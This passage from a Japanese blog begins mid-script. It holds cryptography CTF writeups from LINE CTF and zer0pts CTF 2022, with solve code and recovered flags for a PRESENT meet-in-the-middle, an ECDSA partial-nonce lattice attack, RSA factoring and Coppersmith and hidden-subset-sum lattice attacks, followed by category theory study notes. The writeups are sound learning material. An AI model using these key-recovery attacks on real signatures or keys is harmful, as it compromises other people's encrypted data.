nonce=bytes.fromhex("32e10325")
p = b'LINECTF{'
c = cipher[:8]
mask = strxor(p, c)
init = nonce + b'\x00\x00\x00\x00'

forward = defaultdict(set)
backward = defaultdict(set)

for key in tqdm(itertools.product('0123', repeat=10)):
    key = ''.join(key)
    key = key.encode('ascii')
    cipher = Present(key, 16)
    f = cipher.encrypt(init)
    b = cipher.decrypt(mask)
    forward[f].add(key)
    backward[b].add(key)

collision = (forward.keys() & backward.keys()).pop()
print(f"{collision=}")

key0 = forward[b'\x9f?An\x87\xac\xba\xe1'].pop()
key1 = backward[b'\x9f?An\x87\xac\xba\xe1'].pop()
print(f"{key0=}, {key1=}")
key = key0 + key1

ciphertext=bytes.fromhex("3201339d0fcffbd152f169ddcb8349647d8bc36a73abc4d981d3206f4b1d98468995b9b1c15dc0f0")
nonce=bytes.fromhex("32e10325")

cipher = CTRMode(key, nonce)
cipher.decrypt(ciphertext)

出力

collision=b'\x9f?An\x87\xac\xba\xe1'
key0=b'3201323020', key1=b'2123003302'
b'LINECTF{|->TH3Y_m3t_UP_1n_th3_m1ddl3<-|}'

Baby crypto revisited

0xe6b7c5a62d08e0216e1e7ed7948c96b74c0be9cd 0x49e1050393f885117de74e7a02d1091d67faa3d0 0xff07bbee67c3ab910000000000000000 0xe91f3200a87205d18a97bdf3bb3027c9f532c8a4
0x7e7b86c8624c9b597131bb883053b1856527a5ff 0x7787b9157fbbaf178ed091b23ce30b2e1ccf9abf 0x882f44f29c56aea60000000000000000 0x37c9f0d06570b0087430b9c66372e385839bb348
0x7951eb8b6ef6ebd080c0171252c53b40fd4ac3b5 0xe70efd784e8a5a35ebd875c4df23132324946e5f 0x842f1342234670730000000000000000 0x7635013447c4b0e7c637dde0b9f8f2eed2cda796
0xae1f8afabb6c971626e8616f30dc0781dee744ae 0xd836a959f2e963291c572a261081ada95ff8a3a 0x37261d496392b4140000000000000000 0x2e7684cae69cd153426acc333bace2c6a294ed4c
......(以下略)......

要約

なんとただの数字列しか与えられてない！このテキストファイルをダウンロードする際に書かれている問題文に

Last time, our side-channel attack was quite easy. But our victim found out about our sneaky attack and increased the size of nonce. Fortunately, we could still capture the first half of the nonce, which is 64-bit this time. Now please help us to find out the encryption key again. The victim is using the secp160r1 curve. The following is the captured data: r, s, k, and hash respectively. Flag is LINECTF{}, e.g. LINECTF{0x1234}

と添えられているので、去年の問題を知っていることが前提らしい。コレは辛すぎでは！？

解法

去年どんな問題が出たかググるとふるつき先生のwriteupが先にヒットしてしまう。どうやら楕円曲線のkeyが３変数目に対応していて、0000....の部分が欠損を表しているらしい。これをHidden Number Problemと見てLLLすれば解けるとある。なんと同じスクリプトで解けちゃった。手応えのなさ。。。。。。

ふるつき先生のwriteupにある埋め込み法とやら、何も分かってないのでどこかで勉強したいところ。いいリファレンス募集中。

コード

p = 0xffffffffffffffffffffffffffffffff7fffffff
K = GF(p)
a = K(0xffffffffffffffffffffffffffffffff7ffffffc)
b = K(0x1c97befc54bd7a8b65acf89f81d4d4adc565fa45)
E = EllipticCurve(K, (a, b))
G = E(0x4a96b5688ef573284664698968c38bb913cbfc82, 0x23a628553168947d59dcc912042351377ac5fb32)
E.set_order(0x0100000000000000000001f4c8f927aed3ca752257 * 0x01)

n = int(E.order())

dataset = []
with open("Babycrypto_revisited_b1f108dea290b83253b80443260b12c3cadc0ed7.txt") as f:
    lines = f.read().strip().split("\n")
    for l in lines:
        # r_, s_, k_, h_ = [int(x, 16) for x in l.split(" ")]
        dataset.append( [int(x, 16) for x in l.split(" ")] )
        
r, s, k, h = zip(*dataset)
N = len(h)
t = [r[i] * inverse_mod(s[i], n) % n for i in range(N)]
u = [((h[i] * inverse_mod(-s[i], n) % n) + k[i]) % n for i in range(N)]

nonce_max = 2**64

B = matrix(QQ, N + 2, N + 2)
B.set_block(0, 0, matrix.identity(N) * n)
B.set_block(N, 0, matrix(QQ, 1, N, t))
B.set_block(N+1, 0, matrix(QQ, 1, N, u))
B[N,N] = nonce_max / n
B[N+1,N+1] = nonce_max

L = B.LLL()

for row in list(L):
    k1 = int(abs(row[0]))
    if k1 != 0 and k1 != nonce_max and k1 < nonce_max:
        d = ((k1+k[0])*s[0] - h[0]) * inverse_mod(r[0], n) % n
        print(k1, d)
        print(int(d)*G)
hex(d)

出力

1446378667213923537 1230222089369119785522693236372753381379974297636
(1022452337409376433083787356631666209330746972930 : 1193181433859553698543067687618966502051663733210 : 1)
'0xd77d10fec685cbe16f64cba090db24d23b92f824'

2022-03-21

zer0ptsCTF 2022

CTF

参加したのでwriteupを書く。なおcrypto以外はノータッチ。miscはちょっと見たが難しそうでギブ。結局解けたのはAnti-Fermatのみでした。ctf出場２回目だけどこれが本場の難易度かとプルプル。まだまだ修行が必要ですな。

Anti-Fermat

from Crypto.Util.number import isPrime, getStrongPrime
from gmpy import next_prime
from secret import flag

# Anti-Fermat Key Generation
p = getStrongPrime(1024)
q = next_prime(p ^ ((1<<1024)-1))
n = p * q
e = 65537

# Encryption
m = int.from_bytes(flag, 'big')
assert m < n
c = pow(m, e, n)

print('n = {}'.format(hex(n)))
print('c = {}'.format(hex(c)))

要約

RSAで素数qが素数pに依存した形で定義されてる。n=p*qからpとqを求めよ。

解法

タイトルからフェルマー法を使えと言わんばかりの匂いがする。

しかし通常のフェルマー法はq=nextPrime(p)みたいになってる場合に有効なのでちょっと工夫が必要。

フェルマー法の核は「pとqが小さい数で結びついているので、その小さい数をbrute-forceで見つけ出す」点であるから、この「小さい数」を定式化しよう。

まずp ^ ((1<<1024)-1)とxorされているのが一見厄介だが、ここは(1<<1024)-p-1と等価である。そうすれば

pp = (1<<1024)-p - 1
q - pp = eps

となりqとpを小さい数epsで関連づけられた。あとはpとqを解に持つ２次方程式を解いてやればOK。具体的には

p + q = p + (pp + eps) = (1<<1024) + eps - 1
pq = n

よりp,qは

x^2 - ((1<<1024) + eps - 1)x + n = 0

の解であり、コレを解くと

x = [((1<<1024) + eps - 1) ± √{((1<<1024) + eps - 1)^2 - 4n}] / 2

コレが整数（特に素数）になるようなepsを小さい値から順番に探していく。

なお実際には判別式部分が平方数になるときで探していけばルート部分をいちいち考えなくて楽。

コード

from gmpy2 import iroot
from Crypto.Util.number import long_to_bytes

M = 1 << 1024

for eps in range(1, 10000):
    D = (M + eps)**2 - 4 * n
    rootD, check = iroot(int(D), 2)
    if check:
        print(eps)
        break

p = ((eps + M) + rootD) // 2
q = ((eps + M) - rootD) // 2
phi = (p - 1) * (q - 1)

d = pow(e, -1, phi)
flag = pow(c, d, n)
long_to_bytes(flag)

出力

2030
b'Good job! Here is the flag:\n+-----------------------------------------------------------+\n| zer0pts{F3rm4t,y0ur_m3th0d_n0_l0ng3r_w0rks.y0u_4r3_f1r3d} |\n+-----------------------------------------------------------+'

CurveCrypto

import os
from random import randrange
from Crypto.Util.number import bytes_to_long, long_to_bytes, getStrongPrime
from Crypto.Util.Padding import pad
from fastecdsa.curve import Curve

def xgcd(a, b):
    x0, y0, x1, y1 = 1, 0, 0, 1
    while b != 0:
        q, a, b = a // b, b, a % b
        x0, x1 = x1, x0 - q * x1
        y0, y1 = y1, y0 - q * y1
    return a, x0, y0

def gen():
    while True:
        p = getStrongPrime(512)
        if p % 4 == 3:
            break
    while True:
        q = getStrongPrime(512)
        if q % 4 == 3:
            break
    n = p * q
    a = randrange(n)
    b = randrange(n)

    while True:
        x = randrange(n)
        y2 = (x**3 + a*x + b) % n
        assert y2 % n == (x**3 + a*x + b) % n
        if pow(y2, (p-1)//2, p) == 1 and pow(y2, (q-1)//2, q) == 1:
            yp, yq = pow(y2, (p + 1) // 4, p), pow(y2, (q + 1) // 4, q)
            _, s, t = xgcd(p, q)
            y = (s*p*yq + t*q*yp) % n
            break
    return Curve(None, n, a, b, None, x, y) 

def encrypt(m, G):
    blocks = [m[16*i:16*(i+1)] for i in range(len(m) // 16)]
    c = []
    for i in range(len(blocks)//2):
        G = G + G
        c.append(G.x ^ bytes_to_long(blocks[2*i]))
        c.append(G.y ^ bytes_to_long(blocks[2*i+1]))
    return c

def decrypt(c, G):
    m = b''
    for i in range(len(c) // 2):
        G = G + G
        m += long_to_bytes(G.x ^ c[2*i])
        m += long_to_bytes(G.y ^ c[2*i+1])
    return m

flag = pad(os.environ.get("FLAG", "fakeflag{sumomomomomomomomonouchi_sumomo_mo_momo_mo_momo_no_uchi}").encode(), 32)
C = gen()
c = encrypt(flag, C.G)
assert decrypt(c, C.G) == flag

print("n = {}".format(C.p))  # 整数
print("a = {}".format(C.a))  # 整数
print("b = {}".format(C.b))  # 整数
print("c = {}".format(c))  # 長さ４の数列（fakeflag{sumomomo...}に対してだと長さ６）

要約

mod n上で定義された楕円曲線が与えられる。生成点Gは未知で、それを2G, 4G, 8Gと定数倍しながら、そのx座標およびy座標と平文をxorした結果を暗号文とする。平文を求めよ。

解法

生成点のx,y座標は1024ビットもあるのに平文は128ビットしかないことを利用する。単刀直入には平文部分を変数に置いて、Coppersmithをすれば良い。

肝心の関係式は、暗号文に平文をxorすれば楕円曲線上の点が出てくるので、この点がちゃんと楕円曲線上にあリますよと立式する。

コード（discordに上がってたものを転記）

# https://github.com/defund/coppersmith/blob/master/coppersmith.sage

import itertools

def small_roots(f, bounds, m=1, d=None):
    if not d:
        d = f.degree()

    R = f.base_ring()
    N = R.cardinality()
    
    f /= f.coefficients().pop(0)
    f = f.change_ring(ZZ)

    G = Sequence([], f.parent())
    for i in range(m+1):
        base = N^(m-i) * f^i
        for shifts in itertools.product(range(d), repeat=f.nvariables()):
            g = base * prod(map(power, f.variables(), shifts))
            G.append(g)

    B, monomials = G.coefficient_matrix()
    monomials = vector(monomials)

    factors = [monomial(*bounds) for monomial in monomials]
    for i, factor in enumerate(factors):
        B.rescale_col(i, factor)

    B = B.dense_matrix().LLL()

    B = B.change_ring(QQ)
    for i, factor in enumerate(factors):
        B.rescale_col(i, 1/factor)

    H = Sequence([], f.parent().change_ring(QQ))
    for h in filter(None, B*monomials):
        H.append(h)
        I = H.ideal()
        if I.dimension() == -1:
            H.pop()
        elif I.dimension() == 0:
            roots = []
            for root in I.variety(ring=ZZ):
                root = tuple(R(root[var]) for var in f.variables())
                roots.append(root)
            return roots

    return []

################

R = Integers(n)
P.<x, y> = PolynomialRing(R)

def recover_flag(c):
    bounds = (floor(2^128), floor(2^128))
    mask = ~(int(2^128-1))
    c2 = [t & mask for t in (c[0], c[1])]
    f = (c2[0] + x)^3 + a*(c2[0] + x) + b - (y + c2[1])^2
    roots = small_roots(f, bounds)[0]
    c3 = [t + u for (t,u) in zip(c2, roots)]
    c4 = [int(t) ^^ int(u) for (t,u) in zip(c, c3)]
    return b''.join([bytearray.fromhex(hex(t)[2:]) for t in c4])

print((recover_flag(c[:2]) + recover_flag(c[2:4])).strip().decode('ascii'))

出力

zer0pts{th3_g00d_3ncrypti0n_c0m3s_fr0m_th3_g00d_curv3}

反省

めっちゃ簡単やん。。多変数CoppersmithはmodNだと使えないと思ってたが、その理解が間違ってるのか、今回は偶然modNを整数環にリフトしても影響がないのか、そこのところよく分かってない。識者求む。理解が進んだら記事を改めよう。

ちなみに多変数Coppersmith使うの初めて。１変数CoppersmithはRSAの文脈でなら使ったことあったが、楕円曲線の問題でもこんな使い方できるのか。

Karen

with open("flag.txt", "rb") as f:
    flag = int.from_bytes(f.read(), "big")

n = 70
m = flag.bit_length()
assert n < m
p = random_prime(2**512)


F = GF(p)
x = random_matrix(F, 1, n)
A = random_matrix(ZZ, n, m, x=0, y=2)
A[randint(0, n-1)] = vector(ZZ, Integer(flag).bits())
h = x*A

print(p)
print(list(h[0]))

要約

0,1のみを要素に持つ行列Aに巨大な要素を持つベクトルxをかけた結果が与えられる。コレだけからAとxを復元できるか？

解法

Aが0,1のみ要素にもつ行列なので、ナップサック問題の変種であろうことはすぐに想像がつく。難しいのはベクトルxが不明なのでナップサックに入れる荷物自体が分からない点。

実はこの問題設定はHidden Subset Sum Problemとしてよく調べられているらしく、A Polynomial-Time Algorithm for Solving the Hidden Subset Sum Problemにコレを解くSOTAアルゴリズムが書かれている。

（後で論文読もう、理解が進んだら追記予定）

コード（discordに上がってたものを転記）

import ast

with open("karen/output.txt") as f:
    p = ast.literal_eval(f.readline())
    h = ast.literal_eval(f.readline())


m = len(h)
n = 70

# orthogonal lattice
B = matrix(h).T.augment(matrix.identity(m)).stack(vector([p] + [0] * m))
nr = m - n
print("start BKZ", B.dimensions())
# ortho = B.LLL()[:nr, 1:]
ortho = B.BKZ()[:nr, 1:]
print(ortho)
# print(ortho * A.T)  # first nr rows are zeros
# exit()

R = ortho.T.augment(matrix.identity(m))

# print('after')
# print((A*R)[:,:nr])
# print('after nr')
# print((A*R)[:,nr:])
# exit()

R[:, :nr] *= 2 ^ 10
print("start LLL", R.dimensions())
# R = R.BKZ(algorithm="NTL")
R = R.LLL()

print("=" * 10)

goodvecs = []
for row in R:
    if any([x != 0 for x in row[:nr]]):
        continue
    if all(-1 <= x <= 1 for x in row):
        goodvecs.append(row[nr:])
        print(row[nr:])
print("gvecs", len(goodvecs))


def is_good(v):
    if all([x == 0 for x in v]):
        return None
    if all([0 <= x <= 1 for x in v]):
        return tuple(v)
    if all([-1 <= x <= 0 for x in v]):
        return tuple(-v)

print("find 01 basis")

from itertools import product
from tqdm import tqdm

avecs = set()
for v in goodvecs:
    if all(0 <= x <= 1 for x in v):
        avecs.add(tuple(v))
        bestvec = v
print(len(avecs))
for v1 in tqdm(goodvecs):
    for v2 in goodvecs:
        for coef in product([-1, 0, 1], repeat=3):
            vv = coef[0] * v1 + coef[1] * v2 + coef[2] * bestvec
            if any([x < 0 for x in vv]):
                vv = -vv
            if all([0 <= x <= 1 for x in vv]) and sum(vv) != 0:
                avecs.add(tuple(vv))
    if len(avecs) == n:
        break

print(len(avecs))
avecs = list(avecs)
AT = matrix(ZZ, avecs).T
x = AT.change_ring(Zmod(p)).solve_right(vector(h)).change_ring(ZZ)
print(x)

from Crypto.Util.number import *

for row in AT.T:
    bits = "".join(map(str, row))[::-1]
    m = int(bits, 2)
    f = long_to_bytes(m)
    if b"zer0pts" in f:
        print(f)

出力

start BKZ (352, 352)
......
start LLL (351, 632)
......
gvecs 70
find 01 basis
1
70
(58396395......00623572)
b'zer0pts{Karen_likes_orthogonal_as_you_like}\n'

反省

コレはむずい。トピック知らなかったしググって実装するにしても今の実力だと１、２日はかかるやつだ。

OK

from Crypto.Util.number import isPrime, getPrime, getRandomRange, inverse
import os
import signal

signal.alarm(300)

flag = os.environ.get("FLAG", "0nepoint{GOLDEN SMILE & SILVER TEARS}")
flag = int(flag.encode().hex(), 16)

P = 2 ** 1000 - 1
while not isPrime(P): P -= 2

p = getPrime(512)
q = getPrime(512)
e = 65537
phi = (p-1)*(q-1)
d = inverse(e, phi)
n = p*q

key = getRandomRange(0, n)
ciphertext = pow(flag, e, P) ^ key

x1 = getRandomRange(0, n)
x2 = getRandomRange(0, n)

print("P = {}".format(P))
print("n = {}".format(n))
print("e = {}".format(e))
print("x1 = {}".format(x1))
print("x2 = {}".format(x2))

# pick a random number k and compute v = k**e + (x1|x2)
# if you add x1, you can get key = c1 - k mod n
# elif you add x2, you can get ciphertext = c2 - k mod n
v = int(input("v: "))

k1 = pow(v - x1, d, n)
k2 = pow(v - x2, d, n)

print("c1 = {}".format((k1 + key) % n))
print("c2 = {}".format((k2 + ciphertext) % n))

要約

RSAの暗号文にさらに別の乱数keyをxorしている。クエリvを一回だけ与えることができ、それに応じてkeyと暗号文それぞれに(v+乱数)をd乗した値を足した結果が返ってくる。１回のクエリだけからkeyと暗号文を両方求められるか？

解法

結論としてはv = (x1 + x2) / 2とすれば良い。もしx1 + x2が奇数であればガチャ失敗ということで再度リベンジ。この時

c1 = (pow(v - x1, d, n) + key) 
c2 = (pow(v - x2, d, n) + ciphertext) 
=> c1 + c2 = key + ciphertext = key + (key ^ pow(flag, e, P))

となる。

見やすくするためC := (c1 + c2) % n, F := pow(flag, e, P)と置けば、

C = key + (key ^ F)

からFを割り出せば良いことになる。

一見こんなの不可能そうに見えるが、よく見るとFの偶奇とCの偶奇はkeyによらず一致する。これに気づけばFの他のビットも下から順番に割れそうな気がする。

（注意：上式はmod nでの等式なので上記議論は厳密には誤り。ただしC, key, Fは全てn未満であるから、実数上で見れば左辺と右辺のずれは0, nのどちらかでしかない。さらにFが奇数だと決め打ちしてしまえば左辺も奇数であるから、もしCが偶数ならnズレていたことが判明し、C += nとすれば上式は実数上で成り立つ。以降はこの前処理をしたものとして話を続ける。もしコレで解が見つからなければFが偶数の場合もチェックすれば良い）

ここからが妙技である。Fのiビット目をbit(F, i)と書くことにしよう（Cに対しても同様）。Fの0~i-1ビット目まで割れていて、今からbit(F, i)を求めるにはどうすれば良いかを考察する。

もしbit(F, i) = 1ならば、iビット目だけを見れば

bit(key, i) + bit(key ^ F, i) = bit(F, i) = 1

が成り立つ。ここでもしbit(C, i) = 0ならば、コレはi-1ビット目からの繰り上がりがあったことを意味し、同時にi+1ビット目への繰り上がりを引き起こす。i+1ビット目についても

bit(key, i + 1) + bit(key ^ F, i + 1) = bit(F, i+1) <= constant because F is always the same

が成り立つことから、繰り上がりの影響によりbit(C, i+1) = ~bit(F, i+1)で、特にコレは一定値であることが保証される。

以上の議論はbit(F, i) = 0, bit(C, i) = 0の場合には成り立たない。なぜならこの場合i+1ビット目への繰り上がりが生じるかはbit(key, i)に完全に依存し、bit(C, i+1)はkeyによってランダムな値を取るからである。

以上より次の作戦でbit(F, i)を割り出すことができる（下記コード参照）：

コード

from Crypto.Util.number import long_to_bytes

C_pool = [複数回クエリを投げて(c1+c2)%nたちを格納。偶数なら+nするのを忘れないこと。]

F_bits = [0] * 1000  # F_bits[i] = bit(F, i)
F_bits[0] = 1  # Fは奇数と仮定している

for i in range(1, 1000):
    # bit(F, i)を求める
    bit_C_i_plus_1_is_even = 0
    bit_C_i_plus_1_is_odd = 0

    for C in C_pool:
        C_bin = bin(C)[2:]

        # bit(C, i) = 0であるものだけ考える
        if C_bin[-i-1] == '0':
            if C_bin[-i-2] == '0':
                bit_C_i_plus_1_is_even += 1
            else:
                bit_C_i_plus_1_is_odd += 1
    
    # そもそも常にbit(C, i) = 1の場合があるが、この時はbit(F, i) = bit(C, i)
    # i-1ビット目から繰り上がりがきてる可能性はありうるが、
    # keyによらず常に繰り上がりが生じる事態は考えにくい。
    if bit_C_i_plus_1_is_even == 0 and bit_C_i_plus_1_is_odd == 0:
        F_bits[i] = 1
    # bit(C, i+1)が常に一定ならbit(F, i) = 1、そうでないならbit(F, i) = 0
    elif bit_C_i_plus_1_is_even == 0 or bit_C_i_plus_1_is_odd == 0:
        F_bits[i] = 1
    else:
        F_bits[i] = 0

# あとは復元するだけ
F = int('0b' + ''.join(map(str, F_bits))[::-1], 2)
d = pow(e, -1, P-1)
flag = pow(F, d, P)
print(long_to_bytes(flag))

反省

繰り上がりが起きるのが面倒臭いわけで、普通これを考慮するなら下位bitから順番に求めないといけない気がするが、この解法はbit(F, i)の導出にbit(F, 0),...,bit(F, i-1)を全く使っていない。それどころかbit(F, i+1)という上のビットを見ているわけで、よくこれで解けるなあと感嘆する。すごい。

2020-05-20

圏論復習その４

数学

1.4 圏同値とその判定法

前回圏同値を定義したところまで来ました。これは圏同型より弱い概念として定義したものですが、そもそもダウングレードさせた理由の一つは、圏同型の概念が強すぎて具体例がほぼ存在しないことにありました。

なので本記事では圏同値が具体的にどう現れるのかについて述べたいと思います。それに先立ち圏同値の定義を復習しておきましょう。

定義：二つの圏 $\mathcal{C}, \mathcal{D}$ が圏同値であるとは、二つの関手 $F \colon \mathcal{C} \rightleftharpoons \mathcal{D} \colon G$ および自然同型 $\eta \colon 1 _ {\mathcal{C}} \Rightarrow GF$ 、 $\varepsilon \colon FG \Rightarrow 1 _ {\mathcal{D}}$ が存在することをいう。

気持ちとしては $c\in \mathcal{C}$ および $d\in \mathcal{D}$ に対して、 $c \cong GFc$ かつ $FGd \cong d$ であって、この同型が自然に保たれる（自然同型）ということでした。

では早速圏同値の例を見て行きたいのですが、上の定義を愚直に確かめるのは非常に大変です。というのも関手はともかく自然変換も自分で定義して、それが自然同型であることまでチェックしないといけないからです。

何もないところに自然変換を自力で作り出すのは相当の審美眼がないとなかなか厳しいでしょう。しかも例1つを確かめるのにそれだけの労力をかけるのは効率的とは言えません。

以上が前振りとなるのですが、実はとっても簡単な判定法がちゃんと存在します！これが今日のメインの半分です。

まずはこの判定法を述べるための用語をいくつか準備します。

定義：関手 $F \colon \mathcal{C} \to \mathcal{D}$ が

（１）忠実（faithful）であるとは、 $\mathcal{C} (c, c') \to \mathcal{D} (Fc, Fc')$ が単射であることをいう。すなわち $c, c' \in \mathcal{C}$ およびその間の射 $f, f' \colon c \to c'$ に対して、 $Ff = Ff'$ ならば $f = f'$ が成り立つ。

（２）充満（full）であるとは、 $\mathcal{C} (c, c') \to \mathcal{D} (Fc, Fc')$ が全射であることをいう。すなわち $c, c' \in \mathcal{C}$ に対して、任意の射 $g \colon Fc \to Fc'$ はある $f \colon c \to c'$ によって $g=Ff$ と書ける。

（３）本質的全射（essentially surjective）であるとは、任意の $d \in \mathcal{D}$ に対してある $c \in \mathcal{C}$ が存在して $Fc \cong d$ が成り立つことをいう。すなわち同型による同一視のもとで対象間の全射が成り立つ。

補足：上の定義で出てきた $\mathcal{C} (c, c')$ ですが、これは対象 $c, c'$ 間の射のなす集合¹を表す記号です。たとえば実ベクトル空間 $V, W$ の間の射は $\mathrm{Vect} _ {\mathbb{R}} (V, W)$ と表します。

これを踏まえて、以下がメインの定理になります。

定理（圏同値の判定法）： $F \colon \mathcal{C} \to \mathcal{D}$ が圏同値を誘導するならば、 $F$ は忠実充満かつ本質的全射である。もし選択公理を仮定するならばこの逆も成り立つ。すなわち $F$ が忠実充満かつ本質的全射であるならば、 $F$ は圏 $\mathcal{C}, \mathcal{D}$ 間の圏同値を定める。

証明概略： $(\Rightarrow)$ $F \colon \mathcal{C} \to \mathcal{D}$ が圏同値を定めるとすると、 $\varepsilon _ d \colon FGd \cong d$ より本質的全射は明らか。また $c, c' \in \mathcal{C}$ に対して $\eta 1 _ {\mathcal{C}} \cong GF$ が自然同型なことから $\mathcal{C} (c, c') \cong \mathcal{D} (Fc, Fc')$ と分かるので、忠実充満も明らかである。

$\require{AMScd} \begin{CD} c @>\eta _ c>\cong> GFc \\ @VfVV @VVGFfV \\ c' @>\eta _ {c'}>\cong> GFc' \end{CD}$

$(\Leftarrow)$ $F \colon \mathcal{C} \to \mathcal{D}$ が忠実充満かつ本質的全射であるとする。すると本質的全射性から任意の $d \in \mathcal{D}$ に対して $\{ c \in \mathcal{C} \mid Fc \cong d \}$ は空ではないので、選択公理より各 $d \in \mathcal{D}$ に対して $(Gd \in \mathcal{C}, \varepsilon _ d \colon FGd \cong d)$ の組を選ぶことができる。

今定めた対応 $G \colon \mathcal{D} \to \mathcal{C}$ は奇跡的に関手をなし、 $\varepsilon _ d \colon FGd \cong d$ は自然同型になることが確かめられる。あとは $F$ の忠実充満性から自然同型 $\eta \colon 1 _ {\mathcal{C}} \cong GF$ も定めることができ、これが圏同値の定義を満たすことが確認できる。（証明終）

証明の最後は駆け足でしたが、やることは愚直なので省略しました。

ではこの定理を用いて圏同値の例を一つ見て終わることにしましょう。

例：圏 $\mathrm{Mat} _ {\mathbb{R}}$ を次のように定める。対象は１以上の整数で、射 $n \to m$ は $n$ 行 $m$ 列の実行列とする。射の合成は行列の積で与えることにするとこれは圏の公理を満たす。

一方有限次 $\mathbb{R}$ ベクトル空間のなす圏を $\mathrm{Vect} _ \mathbb{R} ^ {\mathrm{fd}}$ と書くことにすると、関手 $F \colon \mathrm{Mat} _ {\mathbb{R}} \to \mathrm{Vect} _ \mathbb{R} ^ {\mathrm{fd}}$ を $n \mapsto \mathbb{R} ^ n$ として定めることができる。

有限次ベクトル空間には次元が不変量として定まることから $F$ は本質的全射かつ、 $\mathrm{Mat} _ {\mathbb{R}} (n, m) \cong \mathrm{Vect} _ \mathbb{R} ^ {\mathrm{fd}} (\mathbb{R} ^ n, \mathbb{R} ^ m)$ は明らか。

よって $\mathrm{Mat} _ {\mathbb{R}}$ と $\mathrm{Vect} _ \mathbb{R} ^ {\mathrm{fd}}$ は圏同値の関係にある。（証明終）

この例でわかるように、圏同値を構成するはずの逆向きの関手 $\mathrm{Vect} _ \mathbb{R} ^ {\mathrm{fd}} \to \mathrm{Mat} _ {\mathbb{R}}$ の構成には何も触れていません。片側の関手の存在しか言ってないのに圏同値という対称的な構造の成立が言い切れてしまうのが上の定理の最大の強みです。

さて、ここまでで圏同値が「大体似ているもの」という認識は持てたと思います。しかし完全には同じではない（圏同型よりも弱い）ため、じゃあ実際どこまでが似ていてどこからが違うのかが気になります。次回は圏同型でどんな性質なら保たれるのかを探っていくことにします。終わり。

ここで集合と書きましたが、一般に $\mathcal{C} (c, c')$ が集合のサイズに収まる確証はありません。しかし $\mathrm{Set}$ や $\mathrm{Vect}$ といったよく見る圏ではこれは成り立っているので、ここではそのような圏を対象とします。一般に任意の $c, c' \in \mathcal{C}$ に対して $\mathcal{C} (c, c')$ が集合のサイズに収まるような圏をlocally small categoryと呼びます。small categoryという用語もあり、それは圏の中のすべての射の集まりが集合をなすものを指します。例えば群 $G$ の定める圏[\mathrm{B} G]などが該当しますがここでは扱いません。↩

2020-05-05

圏論復習その３

数学

1.3 自然変換

前回関手を導入しました。これにより異なる圏の間の射が定義できたことになるので、圏の同型も定義できることになります：

定義（圏の同型）：２つの圏 $\mathcal{C}, \mathcal{D}$ およびその間の関手 $F \colon \mathcal{C} \to \mathcal{D}$ が存在するとき、関手 $F$ が同型であるとは、逆向きの関手 $G \colon \mathcal{D} \to \mathcal{C}$ が存在して $GF = 1 _ {\mathcal{C}}$ かつ $FG = 1 _ {\mathcal{D}}$ を満たすことをいう。

しかしこの定義は実は「嬉しくない」定義です、というのも現に圏同型になるような具体例がほぼ存在しないからです。むしろよくある例は $GFc \cong c$ のように、行って帰ってきた対象が元々の対象と同一ではないにせよ同型ではある、というパターンです。なのでそのようなケースを圏の同型として定義したほうが役に立つでしょう。そのためには自然同型の概念が必要になります。（本来の動機はこういう理由ではないです、以下の例を参照）

定義：（１）圏 $\mathcal{C}, \mathcal{D}$ 間に二つの関手 $F, G \colon \mathcal{C} \to \mathcal{D}$ が定まっているとする。このときこれらの間の自然変換 $\alpha \colon F \Rightarrow G$ とは

各 $c \in \mathcal{C}$ に対して射 $\alpha _ c \colon Fc \to Gc$ の集まりからなり、
圏 $\mathcal{C}$ 上の任意の射 $f \colon c \to c'$ に対して以下の図式が可換になる：

ものをいう。

$\require{AMScd} \begin{CD} Fc @>\alpha _ c>> Gc \\ @VFfVV @VVGfV \\ Fc' @>\alpha _ {c'}>> Gc' \end{CD}$

（２）自然変換 $\alpha \colon F \Rightarrow G$ が自然同型であるとは、 $\alpha$ の各成分 $\alpha _ c$ が全て同型であるものを指す。このとき $\alpha \colon F \cong G$ と表す。

自然変換を導入する動機はまさに以下の例から来ています。寧ろ自然変換を定義するために関手や圏を定義したと言っても、歴史的にはあまり間違ってはいないらしい：

例：有限次 $\mathbb{R}$ ベクトル空間 $V$ に対して、 $V$ とその二重双対 $V^ {\ast \ast}$ との間には自然なevaluation map

$\mathrm{ev}_ V \colon V \to V ^ {\ast \ast} ; v \mapsto [\varphi \mapsto \varphi(v)$ ] （ここで $\varphi \in V ^ {\ast}$ ）

が存在して、これは $V$ と $V^ {\ast \ast}$ の間の同型を与えます。さらにこれは任意のベクトル空間の射 $f \colon V \to W$ に対して下図の可換性を満たすので、 $\mathrm{ev} \colon 1 _ {\mathrm{Vect}_ {\mathbb{R}}} \Rightarrow (-) ^ {\ast \ast}$ は自然変換になっています。